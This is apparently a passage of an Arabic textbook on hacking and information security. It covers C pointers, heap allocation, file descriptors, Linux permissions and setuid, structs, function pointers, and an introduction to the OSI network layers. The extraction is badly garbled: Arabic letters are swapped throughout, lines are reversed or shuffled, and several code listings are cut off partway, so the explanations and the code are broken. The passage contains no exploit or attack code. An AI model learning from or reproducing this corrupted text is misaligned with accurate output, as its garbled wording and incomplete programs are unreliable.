. حسب احلاجةcharacter pointer أوinteger pointer ُمعا َملته ك
char charnum;
int intnum;
float floatnum;
Programming
[71]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Scenario Behavior
When We assign address of character variable to void Void Pointer Becomes Character
pointer Pointer
When We assign address of floating variable to void Void Pointer Becomes Floating
pointer Pointer
) اىل الcharacter data type( تُستخدَ م للتحويل من الatoi( ) تسمىFunction وأطري ًا أود أن أتكلم عن
( يف متغري من نوع ُمتلفintegers) قيام ييل مثال يوضح كيف قمنا بوضع جمموعة أرقام..)integer data type(
:) وعرضها عىل الشاشةcharacter)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
int val;
char str[20];
strcpy(str, "98993489");
val = atoi(str);
printf("String value = %s, Int value = %d\n", str, val);
return(0);
}
Programming
[72]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Heap Example:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Programming
[73]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
int_ptr\n");
int_ptr = (int *) malloc(12); // Allocated heap memory again
ذي أولarg[1] ُثم، ذو اسم الربنامج نفسهarg[0] ت ََذكر أن ال..cmd-line arguments يف البداية ُقمنا باستخدام ال
. بعد لسم الربنامج.. نقوم بكتابتها نَحنstring
Programming
[74]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ُخيربنا يف دالة ifأن ُه سيستقبل ال ] arg[1ليقوم بتحويلها لىل integerباستخدام ) ( atoiثم وضعها يف املتغري
،mem_sizeالحظ أنه لذا مل يرى ال compilerأي argumentsغري األوىل ققط قسيقوم بتحديد مساحة لقرتاضية لل
mem_sizeب ،50 Bytesكي نضمن عمل الربنامج بأي حال .ثم تقوم ) ( printfبطباعة ما حتويه ،mem_sizeيف
حالتنا ذذه ستكون 50حيث أننا مل نُدطل أي .Argusثم تقوم ال ) ( mallocبحجز املساحة املطلوبة يف ال Heap
ولرجاع ال pointerمع عمل ال Castله كام رشحنا سابق ًا .الحظ اآلن أن char_ptrأص َب َح ُيشري لىل ماييل:
"."address of memory allocated in Heap
ثم نقوم بطباعة عنوان ذذا ال blockباستخدام ال ،)%p( operatorواجلملة التي بداطله:
;)printf("char_ptr (%p) --> '%s'\n", char_ptr, char_ptr
ثم ُقمنا بعمل allocationمر ًة أطرى ولكن َحددنا املساحة التي نُريدُ ذا بشكل ُمبارش ""12 Bytes
;)int_ptr = (int *) malloc(12
Programming
][75
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Programming
[76]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
File Access
عندما ترغب بفتح ٍ
ملف ما عىل جهازك ،مث ً
ال ملف ،Notepadمالذي َحيدُ ث يف ال Operating Systemعندما يتم
َقتح ا َمللف أمامك؟.
يقوم نظام التشغيل لديك بإنشاء Entryهلذه العملية (عملية قتح ذذا امللف)ُ ،خي َِّزن قيه البيانات ا ُملتَع ِّلقة ِبذا ا َمللف
ويقوم بالتعبري عن ذذا ال Entryبرقم ..مث ً
ال ،100ذذا الرقم uniqueهلذا امللف ،قإذا أردت قتح عدد من امللفات يف
ٍ
مكان ما ال عرشة ملفات ،سيقوم نظام التشغيل بتكوين " ،"10 Entriesتتخزن ذذه ال Entriesيف نفس الوقت مث ً
نهم بأرقام ).(100, 101, 102, 103,…109
داطل ال ،Kernelو ُي َعرب َع ُ
ذذه األرقام ُيط َلق َعليها "."File Descriptors
وما ذي قائدته؟.
يبدو أهنا طريقة َيستَخدمها نظام التشغيل ل َع َمل Trackingللملفات املفتوحة َلديه.
تَستَخدم ذذه ال file descriptorsجمموعة من ال ( )Low-Level Functionsللتعامل مع امللفات ،نذكر أمهها:
)(open(), close(), read(), and write
ذذه ال functionsتقوم بإرجاع ) (-1يف حالة حدوث أي َ .Errorسنُعطي مثال يرشح ال file descriptorوبعض ال
.low-level functions
Programming
][77
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
قيام ييل برنامج يقوم باستقبال noteأو ُمجلة َقصرية منك عىل َذيئة ُ command-line argumentثم َيقوم ب َفتح َملف
ولضاقة َذذه اجلُملة يف هناية ذذا ا َمللف (بمعنى أنه لن يقوم ب َع َمل overwriteللبيانات التي بداطله ،لن ُوجدَ ت)..ذذا
امللف مسار ُه كام ييل/tmp/notes :
قبل أن نبدأ ..ال ُبد وأن تتوقع أننا َسنستَخدم ) ( openلنَفتَح ذلك ا َمللف ،و ) ( writeلنَكتُب داطله ما ستُعطيه َلنا ،و
) ( closeلنَقوم بإغالقه َبعد اإلنتهاء .لال أن ) ( openذذه تأيت دائ ًام َمصحو َبة ب َبعض التفاصيل املُ َت َع ِّلقة بال
..Access Mode
ذل سيكون Read only؟ ،أم Write only؟ ،أم اإلثنان مع ًا؟ ..ذذه التفاصيل تُسمى "."Flags
لكي تتمكن ال ) ( openمن استخدام ذذه ال flagsسنحتاج ل َع َمل includeهلَذه ال fcntl.h Lib
>#include <fcntl.h
َستُالحظ أيض ّا َع َمل includeل libraryجديدة تُسمى " ،"sys/stat.hيوجد flagsأطرى ُيمكن لل ) (open
Programming
][78
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
// Opening file
fd = open(datafile, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR |
S_IWUSR);
if(fd == -1)
fatal("in main() while opening file");
Programming
[79]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
// Writing data
if(write(fd, buffer, strlen(buffer)) == -1)
fatal("in main() while writing buffer to file");
// Closing file
if(close(fd) == -1)
fatal("in main() while closing file");
Programming
[80]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
وbuffer " ُمهاpointers on strings" و ُقمنا بتَحديدfile descriptor َس َيحمل قيمة ال،int ُقمنا بتَعريف ُمتغري
منcasting مع عمل الbuffer لل100 bytes ب َحجز َلنا مساحة مقدارذاec_malloc( ) ُثم قامت ال،datafile
. بداطلهstring أجل ختزين ال
ُمجلة ثابتة! سنضعها بداطلهdatafile لكن َسنضع داطل ذذا ال،datafile لل20 bytes ُثم أيض ًا قامت ب َحجز َلنا
“/tmp/notes” : ذذه اجلُملة ستكون..strcpy( ) باستخدام
: كام ييلif تم وضع رشط باستخدام دالةarguments وللتأكد من عملية لدطال ال
If (argc < 2)
usage(argv[0], datafile);
: يعنيusage(argv[0], datafile) ذذا السطر
Programming
[81]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
سنقوم بنَسخها لىل ال ،bufferوبعدذا تقوم ) ( printfبطباعتها وطباعة العنوان اخلاص ِبا..
""Address of buffer, and buffer
أسفل منها ) (ُ printfأطرى َستَط َبع ماييل ،"address of datafile string" :و حمتوياهتا
ت ََذكر أهنا stringثابتة وذي مسار امللف ”.“/tmp/notes
ُذنا يعني أن ” “\nذذه تَم َختصيص 1 byteهلا ،وذ َي املساحة التي َيش َغلها ذذا الرمز داطل ال . memory
ستقوم ال ) ( openبعملية قتح امللف ،وكام ترى أهنا استخدمت جمموعتني من ال ،flagsيسبقهم مسار امللف املراد
قتحه.
Programming
][82
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
املجموعة األوىل تتكون من ثالثة flagsيفصل بينهم | وذي أحد ال standard logic gatesتسمى .ORيمكنك
الرجوع هلذه ال flagsلن نسيت دالالهتم..
أ ّما املجموعة الثانية قهيS_IRUSR | S_IWUSR :
الحظ أن ُه عندَ َق َشل أي َع َملية من ال َع َمليات الثالث open, write, and close :سيقوم الربنامج باالنتقال لىل ) (fatal
لك رسالة ُ errorثم اخلُروج طارج الربنامج .أ ّما يف احلالة الطبيعية قسيتم َقتح ا َمللف وتقوم ) ( printfب َعرض
َظهر َ
لت َ
ال fdاخلاص ِبذه العملية.
ذل تَذكُر ذذا ال file descriptor؟.
Programming
][83
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:لنُشاذد النتائج
reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c
reader@hacking:~/booksrc $ ./simplenote
Usage: ./simplenote <data to add to /tmp/notes>
reader@hacking:~/booksrc $ ./simplenote "this is a test note"
[DEBUG] buffer @ 0x804a008: 'this is a test note'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
reader@hacking:~/booksrc $ ./simplenote "great, it works"
[DEBUG] buffer @ 0x804a008: 'great, it works'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
great, it works
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $
Programming
[84]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
File Permissions
َ تَم َختصيص َجم. م َن األمور ا ُمله ّمة يف أنظمة التشغيلfile permissions ُيعت ََرب ال
التي ُيمكنُنا َدجمهاflags موعة م َن ال
."OR" َمع ًا باستخدام َبوابة
: كام ييل، ُمقس َمة لىل َثالث َجمموعات لتُعطي َصالحيات ل َثال َثة أنواع م َن املُستَخدمنيflags ذذه ال
User (Owner)
S_IRUSR Give the file read permission for the user (owner).
S_IWUSR Give the file write permission for the user (owner).
S_IXUSR Give the file execute permission for the user (owner).
Group
S_IRGRP Give the file read permission for the group.
S_IWGRP Give the file write permission for the group.
S_IXGRP Give the file execute permission for the group.
Others
S_IROTH Give the file read permission for other (anyone).
S_IWOTH Give the file write permission for other (anyone).
S_IXOTH Give the file execute permission for other (anyone).
: َجمموعة م َن الصالحيات التي تُع َطى لثالثة أنواع م َن ا ُملستخدمنيLinux لكُل َملف يف نظام التشغيل
Owner, Group, and Others
:لنُشاذد ذذا بمثال
reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote*
-rw-/r--/r-- 1 root root 1424 2015-09-06 09:45 /etc/passwd
-rwx/r-x/r-x 1 reader reader 8457 2015-09-07 02:51 simplenote
-rw-/---/--- 1 reader reader 1872 2015-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $
Programming
[85]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ققط لىل الread و،owner " لىل الread and write" تَم لعطاء َصالحيات/etc/passwd نُالحظ أن أول َملف
.others أيض ًا لىل الread و،group
َس َيمتلكون َصالحيات ذذا، وب ُمجرد لضاقتهم لليه،group لىل ذذاusers ق ُيمكنُنا لضاقة، group لذا ُقمنا بتحديد
.group جلميع َمن َينتمي هلَذاAdmin َق َستُمنَح صالحيات الAdmins للgroup كان
َ قإذا،!group
Programming
[86]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ثم يف األمر الذي يليه ،سيقوم بنزع صالحيات ال writeو ال executeمنهم مجيعا .user,group,other
User IDs
يف نظام التشغيل ،Linuxحيصل ال root userعىل id = 0حيث تعني أن ُه ُ .Administrator Accountذ َ
ناك بعض
الثغرات التي ُمت ِّكنُك من الوصول لل id 0باستخدام بعض ال functionsمثل ) (.getuid
ا ُملهم..
Programming
][87
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
jose@hacking:/home/reader/booksrc $
jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes
-rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes
jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose"
[DEBUG] buffer @ 0x804a008: 'a note for jose'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[!!] Fatal Error in main() while opening file: Permission denied
jose@hacking:/home/reader/booksrc $ cat /tmp/notes
cat: /tmp/notes: Permission denied
jose@hacking:/home/reader/booksrc $ exit
exit
reader@hacking:~/booksrc $
ً مث. لنفس امللف أو لجراء تعديالت عليه؟access ل َعملuser ولكن ماذا لو أراد أكثر من
/etc/passwd ال ملف
. اخلاص بكل منهمdefault shell ومنها الusers حيتوي عىل بيانات ال
user interface لقد كان ال.. Operating System ليقوم بإرساهلا لىل الcommands لنه برنامج يستقبل منك
بعد ذالك لتُسهلGUI ُثم ظهرت ال،UNIX يف بدايات ظهور الO.S الوحيدة التي حتقق التواصل بينك وبني ال
.!بعض األمور لال أنه ال غنى عنه
أيض ًا يوجد عدة أنواع أطرى كال، حيث ذو األقدم واألقضلBash ذو الshells األشهر من ذذه ال
.ksh, tcsh, and zsh
Programming
[88]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
ماهي ُمنا ُذنا أن ُ linuxيعطي الصالحية ألي ُمستَخدم بأن يقوم بتَغيري ال default shellاخلاص به ،ب َمعنى أ ّن ُه َسيَقوم
َُ
بإجراء تعديل عىل السطر اخلاص به (ذذا ا ُملستخدم) داطل َملف َ ،/etc/passwdق َ
كيف َسيقوم ُمستَخدم عادي
بإجراء ذذا التعديل!.
سنستخدم طاصية يف النظام تُسمى "."Set User Id Permission
Setuidتُعت ََرب permissionأيض ًا نستطيع لضاقتها ألحد الربامج ،ولذا ما تم استخدام ذذا الربنامج من ق َبل َأ َحد ال
usersقإنه يتعامل مع ال O.Sبصالحيات ال .root
الصغري الذي يقوم بإجراء عملية التغيري لنوع ال shellاخلاص بك! ،لنه " ."chshنقوم بكتابته يف ال
َسنأيت للربنامج َ
terminalكَام ُذ َوَ ،chsh ،س ُ
يأطذ حينَها َذذا الربنامج َ idجديدَ ة و ُمؤقتة ،نُطلق عليها ” ،“Effective idكي يتسنى له
لجراء التعديل.
ُثم َبعدَ اإلنتهاء َس َيقوم بال َعو َدة لىل ال real idوذ َي ال idال َطبيعية اخلَاصة بك.
reader@hacking:~/booksrc $ which chsh
/usr/bin/chsh
reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd
-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd
-rws/r-x/r-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh
reader@hacking:~/booksrc $
كَام تَرىَ ،حرف ال ) )sيظهر يف أول طانة َلدَ ى ال chshبينام غري موجود لدى ال /etc/passwd
Programming
][89
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
."chmod u+s" ُك أيض ًا تفعيل َذذه اخلاصية ألي َبرنامج لديك باستخدام األمر
َ ُيمكن
.) (أول طانةowner يظهر يف طانة ال،)s( انتبه للحرف،)chmod u+s( واآلن َسنَقوم بتنفيذ األمر
reader@hacking:~/booksrc $ sudo chmod u+s ./uid
reader@hacking:~/booksrc $ ls -l uid_demo
-rws/r-x/r-x 1 root root 6825 2007-09-07 05:32 uid
reader@hacking:~/booksrc $ ./uid
real uid: 999
effective uid: 0
reader@hacking:~/booksrc $
.( هلذا امللفSetuid permission) َقبدونه َلن ُي َم ِّكنُنا لضاقة ال،Sudo الحظ استخدام األمر
Programming
[90]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Structs
ال َ Structحيمل نَفس َمفهوم ال َ arrayغ َري أن ُه ُيستَخدَ م يف حاالت أكثر تَعقيد ًا ،ذو يف النهاية عبارة َعن ُمتغري
يث أن ُه َحيمل بداطله ُمتغريات ُأطرى ُمتعدِّ َدة ،و ُيمكنُه أيض ًا َمحل variablesذات
َ ،Variableلكنّه من نوع طاص!َ ،ح ُ
ُُ data typesمتلفة.
قام ذو ال struct؟
”“Is a composition of the different variables of different data types, grouped under same name
Programming
][91
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Struct Record {
char name[64];
char course[128];
int age;
int year;
};
. كيف نستخدمه؟..!جيد
أيض ًا ُيمكننا اشتقاق أكثر من، ُثم نَقوم بالتعا ُمل َم َع ُه بكُل ُح ّريةstruct من َذذا الobject يف احلقيقة نقوم باشتقاق
.struct من نَفس ذذا الobject
Programming
[92]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Programming
][93
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
int main() {
long int seconds_since_epoch;
struct tm current_time, *time_ptr;
int hour, minute, second, day, month, year;
declare أيض ًا ُقمنا ب َع َمل.pointer *time_ptr ُثم َعرقنا،object current_time يف بداية الربنامج قمنا باشتقاق
."time.h library" وذي ُمد َر َجة يف،time( ) بإسمfunction تَم استخدام.! ألنه َس َيحوي عدد كبريlong int ُمل َت َغ ِّري
.1/1/1970 ذوbase line بإرجاع لنا عدد الثواين املحسوبه منذ وقت ُحمَدد كfunction تقوم ذذه ال
حيوي ذذا الcurrent_time " وذوaddress of our object" ُيشري لىل الpointer time_ptr ُثم ُقمنا ب َجعل ال
.! َلكنها قارغةstruct tm املوجودة يف الelements الobject
Programming
[94]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
تذكر أهنا variablesبمعنى أننا سوف نَمألذا اآلن ،سنستخدم functionبإسم ) ( localtime_rلتقوم بمأل ذذه ال
variablesبالتوقيت احلايل.
ُثم أطري ًا نستخدم ) ( printfلتعرض لنا التوقيت احلايل بالساعات والدقائق والثواين ،وذلك عن طريق استدعائهم من
ذذا ال objectبعد أن قامت ) ( locate_rبملئهم.
سنستخدم ثالثة ُط ُرق ُُمتل َفة أثناء استدعائنا ٍ
لكل من ذذه ال Elementsالثالثة ا ُملكونني للساعات والدقائق والثواين.
قمنا باستخدام ذذه الطريقة واملسامة ” “direct accessلعمل access to the hour element
تذكر أننا قمنا بعمل declareل pointer time_ptrوجعلناه يشري لىل ال .object
لنتمكن من الدطول اىل ال elementالذي نريده! ذنا اطرتنا الدقائق! >- قسنقوم باستخدام الرمز
لقد قمنا بتحويل ال " "time_ptr pointerلىل integer pointerعن طريق عمل Castله كام ييل:
(int *) time_ptr
Programming
][95
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
بشكل عام لذا كان من نوعpointer ت ََذكر أن ال.." كام تعلمaddress of our object" ُيشري لىلpointer ذذا ال
4 َيضع ِبا أول4 bytes أليس كذلك؟ بمعنى أنه مساحتة..address من ال4 bytes قإنه ُيشري لىل أولint
: الذي ُيشري لليه َق َسنُالحظ اآليتobject ولذا ألقينا نظرة عىل ذذا ال
struct tm {
int tm_sec; /* seconds */
ألن،struct من ال4 bytes بمعنى أهنا تقع يف أول،second ذي الstruct األوىل يف الelement الحظ أن ال
)*( ُثم ُقمنا بوضع،!! ذذا رائع.! بداطله ذي التي تَش َغلvariables بل ال..! نفسه ال َيشغل مساحةstruct ال
Programming
[96]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Function Pointers
: لذا سنبدأ باملثال دون ُمقدمات،Pointers نحن اآلن عىل دراية جيدة بال
#include <stdio.h>
int func_one() {
printf(“This is function one\n”);
return 1;
}
int func_two() {
printf(“This is function two\n”);
return 2;
}
int main() {
int value;
int (*function_ptr)();
function_ptr = func_one;
printf(“function_ptr is 0x%08x\n”, function_ptr);
value = function_ptr();
printf(“value returned was %d\n”, value);
function_ptr = func_two;
printf(“function_ptr is 0x%08x\n”, function_ptr);
value = function_ptr();
printf(“value returned was %d\n”, value);
}
Programming
[97]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
:الحظ معي
ذذه ال.! ألننا مل نُحددذا بعد..( ) ما وذي الFunction *" ُيشري لىلfunction_ptr" ذو.. pointer ذذا ال
int value ُث ّم َعرقنا ُمتغري. يف الكود ُذناint وذيinteger من نوعdata type ذاتvalue سرتجع لنا
ُ Function
" وذوaddress of function" لتقوم ب َعرض الprintf ( ) استخدمنا ال.function اخلاص بالreturn لنضع به ال
ُ
حيث تقوم ،function َو َستعرض َلنا أيض ًا ما َستُنفذ ُه َذذه ال."address of function" َق ُهو ُيشري لىل ال.pointer ال
. َهلا بنَفس الطريقةcall ُثم لجراء.func_two( ) ُثم َجعلنا ُه ُيشري مر ًة أطرى لىل ال.!" ققطreturn 1" و،بطباعة ُمجلة
:لنُشاذد النتائج
reader@hacking:~/booksrc $ gcc funcptr_example.c
reader@hacking:~/booksrc $ ./a.out
function_ptr is 0x08048374
This is function one
value returned was 1
function_ptr is 0x0804838d
This is function two
value returned was 2
reader@hacking:~/booksrc $
Programming
[98]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
لدينا راعي أغنام يمتلك ذئب ،وماعز ،وبعض ال ُعشب ،وذم الثالثة يقفوا كام يف الصورة أمام النهر ،يريدون العبور
للجهة األطرى.
سيعربون عىل عدة مراحل!.
ُ ذذا الراعي لديه قارب صغري ُيمكنه ققط أطذ يشء واحد معه أثناء العبور!ُ ،ما يعني أهنم
حيث من ا ُملتوقع أن يأكُلها! ،ويف نفس الوقت ال ُيفرتض أيض ًا ترك
ولكن انتبه! ،ال ُيفرتض ترك الذئب مع املاعز ُ
حيث من ا ُملتوقع أيض ًا أن تلتهمه!..
املاعز وحدذا مع العشب ُ
قكيف سنقوم بنقل الثالثة لىل اجلهة األطرى من النهر؟
Programming
][99
Understanding Hacking and Information Security القرصنة اإللكترونيه وأمن المعلومات
[100]
Understanding Hacking and Information Security القرصنة اإللكترونيه وأمن المعلومات
واآلن ذيا لنَقوم باطتبار ما َقدمته َلنا من أقكار حلل ذذا اللغز!:
][101
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
[102]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Part II
Networking
Networking
[103]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Networking
[104]
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Introduction
يقول اهلل تعاىل يف كتابه الكريم ﴿ :وجعلناكم شعوب ًا وقبائ َل لتعارقوا ﴾..
جزيرة ما ،ختيل ذلك لربذة!ُ ،ثم ختيل الشخص ذاته وذو يعيش يف ٍ
بلد ما ٍ ذل ُيمكنُك ختيل شخص يعيش وحيد ًا يف
ُ
مع برش يتكلمون نفس لغته! ،يتواصل مع الكثري منهم بشكل يومي ،يقوم بمعامالت ُمتلفة سوا ًء كانت اجتامعية أو
مادية .الفرق بسيط ،قكال الشخصني واحد! ،غري أن األول ذو الشخص " ،"at restوالثاين ذو نفس الشخص ولكن
ُضيف ل ُه الكثري ،قالشخص الثاين س َيتَكا َمل وينمو بسبب ذذا التواصل
ُ " .."in dynamicذذه الديناميكية َست
واالنفتاح عىل اآلطرين ..لهنا ذدية ال ) (Networkingله ،بينام اآلطر سيظل حمله دون حتديث أو تطوير! ،لعلك
شاذدت قيلم تم انتاجه يف عام 2007اسمه ” “into the wildحيث حيكي قصة شاب ترك احلياة االجتامعية وذذب
اىل غابات "أالسكا" ليعيش وحده بمعزل عن الناس ..ويف النهاية وبعد أن أصابه مرض املوت ،وكان حينها وحيد ًا
يف الغابة ،قام بتدوين آطر عبارة له قبل الرحيل:
”“Happiness within shared
قتى مسكني!. ثم اضجع قلي ً
ال وقارق احلياة .يال ُه من ً
َقمثلام تقوم اللغات بإثراء التعامالت بني الناس وتزيد من طرباهتم وقاعليتهم يف احلياة ،أيض ًا ُيمكنُنا لسقاط ذلك عىل
برنامج بسيط مثل ا ُملتصفح ) ،(browserما قيمته بدون انرتنت؟ لن َيستخدم ُه أحد حينها! ،ولكن بمجرد أن يتمكن
ذذا اليشء من التواصل مع ال web serversيف كل مكان باستخدام بروتوكوالت اإلتصال املختلفة ..حينها ستظهر
قيمت ُه احلقيقية! .أليس كذلك؟.
Networking
][105
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
من املعروف أن العديد من ال Applicationsتعتمد عىل بيئة الشبكات كي تتمكن من ليصال طدماهتا لىل
ال ،end usersربام ختتلف أنواع الربوتوكوالت التي تعتمد عليها ذذه ال applicationsولكن تبقى يف النهاية
السامت العامة املشرتكة هلذه الربوتوكوالت يف آليات نقلها للبيانات! "."transport methods
سنقوم يف ذذا الباب لنشاء اهلل برشح أساسيات الشبكات وبروتوكوالهتاُ ،ث ّم اإلنتقال لىل ال " ،"Socketsلتوضيح
ماذيتها ،وكيفية لنشائها واستخدامها يف لغة ال .C
ذيا بنا..
Networking
][106
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
مع التأكد من أن الرسالة َو َص َلت ،ولذا َمل تَصل قستقوم بإعادة اإلرسال .وبالنظر
لىل ذذه ال Serviceا ُمل ُقدمة من ذذه الطبقة َسنَجد أهنا تسري كاآليت:
الطبقة التي تقع أسفل منها وذي ال ُ ،Network Layerت ًقدِّ م Serviceأيض ًا
وذي َمحل الرسالة من ال Sourceلىل ال Destinationققط ،ستقوم بإيصال ال
Packetمن َمكان لىل َمكان آطر ،بدون لجراء عملية التأكُد من الوصول ولعالم
ال ،Sourceأو لعادة اإلرسال يف حال ُحدوث َطللَ ،ق َهذه َوظيفة ال َط َبقة التي
تَعلوذا!.
وبالتايل تَعتَمد ال ( )Layer 4عىل ال ( )Layer 3يف تقديم َطدَ ماهتا ،وباملثل..
َذذه ال (َ )Layer 3ستَعتَمد عىل ال ( )Layer 2يف لكامل َع َملية ليصال ال packet
لىل ال َط َرف َ
اآلطر..
وذذا ما نُطلق عليه بال ”“Service Block
Networking
][107
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Application Layer
ذذه الطبقة التي تَظهر لل end userوتتمثل يف ال Applicationsبأنواعها ،قهي تُعت ََرب ال َ Interfaceبين ُه وبني مجيع
ُمتعلقات الشبكات ا ُملختلفة.
قمث ً
ال يعمل يف ذذه الطبقة بروتوكول ال HTTPوذو املسؤول عن لرسال واستقبال طلبات عرض صفحات الوب
عىل ُمتصفحك ،كام يعمل ِبا أيض ًا الربوتوكول الشهري DNSوذو الذي يقوم برتمجة عناوين مواقع االنرتنت
من ال " "human-readableاىل ال " ،"32-bit Network Addressحيث ُخي َِّزن يف قواعد بياناته مجيع عناوين املواقع
وال IP Addressesا ُملناظرة َهلا بطريقة " َذ َرمية" ،ويف أجهزة ضخمة موزعة يف عدة مواضع حول العامل.
ُيط َلق عىل ال packet informationيف ذذه ال Layerبال ”.“Data or Message
Presentation Layer
ذذه الطبقة مسؤولة عن عملية عرض ال Dataبلغة يمكن قرائتها لىل طبقة ال ُ ،Applicationما ُيعطيها الكفاءة
ليست الطبقة الوحيدة التي ُيمكنُها عمل التشفري وقكه ،لال أهنا تستطيع القيام بذلك
لتشفري أو قك تشفري ال َ ،Data
تبع ًا ملتطلبات ال .Applications
Networking
][108
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Session Layer
تقوم ذذه الطبقة بإدارة ال " "Sessionالتي يتم قتحها بني األنظمة ،قهي تقوم ِبذه الوظائف:
Establish, manage, and terminate the connection.
أيض ًا تقوم بتحديد ما لذا سيكون نوع االتصال " ."Full-Duplex or Halfوأيض ًا عملية ال Graceful Shutdown
Transport Layer
تتلخص وظيفتها بنقل ال Msgsبني ال .Applications
قهي تقوم باآليت:
" "Transport the Application Layer’s Messagesبني ال ) ،(Application End pointsبالطبع باالشرتاك مع
الطبقات التي تليها ..قه َي املسؤولة َعن بدء و ُمتا َب َعة وغلق قنوات االتصال التي َيستَخدمها ال ..Applicationذذه
القنوات تُسمى " ."Socketsثم تقوم أيض ًا ذذه الطبقة بإعطاء عناوين ال " "Destination End Pointلىل
ال ( )Layer 3كي تتم عملية اإلرسال الفعلية كام أوضحت لك يف مثال ال .Service Block
املهم ..يعمل يف ذذه الطبقة نوعني من أذم الربوتوكوالت ،األول TCPوالثاين .UDP
قاألول يقوم بعملية ال Transportولكن يقدم طدمة ال Reliable Transferبمعنى أنه سيضمن لك وصول
الرسائل املرسلة وقق الرتتيب الذي ُأرسلت به ” ،“Connection Orientedولعادة لرسال الرسالة لذا ما اعرتضها أي
Networking
][109
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
مانع من الوصول .وبالتايل قهو بطيء بعض اليشء حيث يعمل ب Algorithmمعقدة قليالً ،يقوم املُربمج الذي
يصمم ال Applicationبتحديد ما لذا كان سيعتمد عىل ال TCPأم ال UDPتبع ًا لوظيفة ونوع ال .Application
نأيت لىل ال UDPوذو أقل تعقيد ًا من ال TCPحيث لن يضمن لك عملية التوصيل بشكل كامل ،وهلذا ُيطلق عليه
” “Connectionless Protocolوذلك ل ُيعطي لنفسه ال ُفرصة بأن ُيقلص ال Headerاخلاص به لتكون عملية
اإلرسال ِسيعة.
يعتمد عليه ال DNSيف عمله ،ألن ال DNSمن الربوتوكوالت التي البد أن تعمل بُسعة عالية..
ن َُس ّمي ال ُ packetذنا ”.“Segment
Network Layer
ذذه الطبقة عليها Loadكبري بعض اليشء! ،قهي تقوم بعملية نقل ال " "Network-Layer Packetsمن hostآلطر.
حيث يقوم ال TCPأو ال UDPبإمرار ال " "Transport-Layer Segmentو ال " "Destination Addressلىل ذذه
الطبقة ،ثم تبدأ من ذنا رحلة ال Network Layerمرور ًا بشبكات عديدة أثناء مسريهتاُ ،ثم اإلنتهاء لىل ال
Destinationل َيتم ُذناك رقع ال Packetلىل طبقة ال Transportاخلاصة بال .Destinationقهي (The Network
) Layerتَستَلم من ال Transport Layerمن ج َهة وت َُس ِّلم لىل ال Transport Layerيف اجلهة األطرى ..ن َُس ّمي ال
packetيف ذذه الطبقة ”.“Datagram
Networking
][110
Understanding Hacking and Information Security القرصنة اإللكترونية وأمن المعلومات
Data-Link Layer
ذذه الطبقة ُمتخصصه يف نقل البيانات عرب ال .Physical Networkمن َوظائفها القيام بتوقري ال
Addressing Schemeالتي تُستَخدَ م لتعريف األجهزة بنفسها داطل الشبكة ،أو كام يقولون:
” “Identifying Physical Devicesمثل ال MAC Addressا ُملعطى لألجهزة وال Serversداطل الشبكة ،وتقوم
أيض ًا ببعض الوظائف كتصحيح األططاء ،"error correction and flow control" ،وبعض األدوار ا ُملهمة يف لدارة
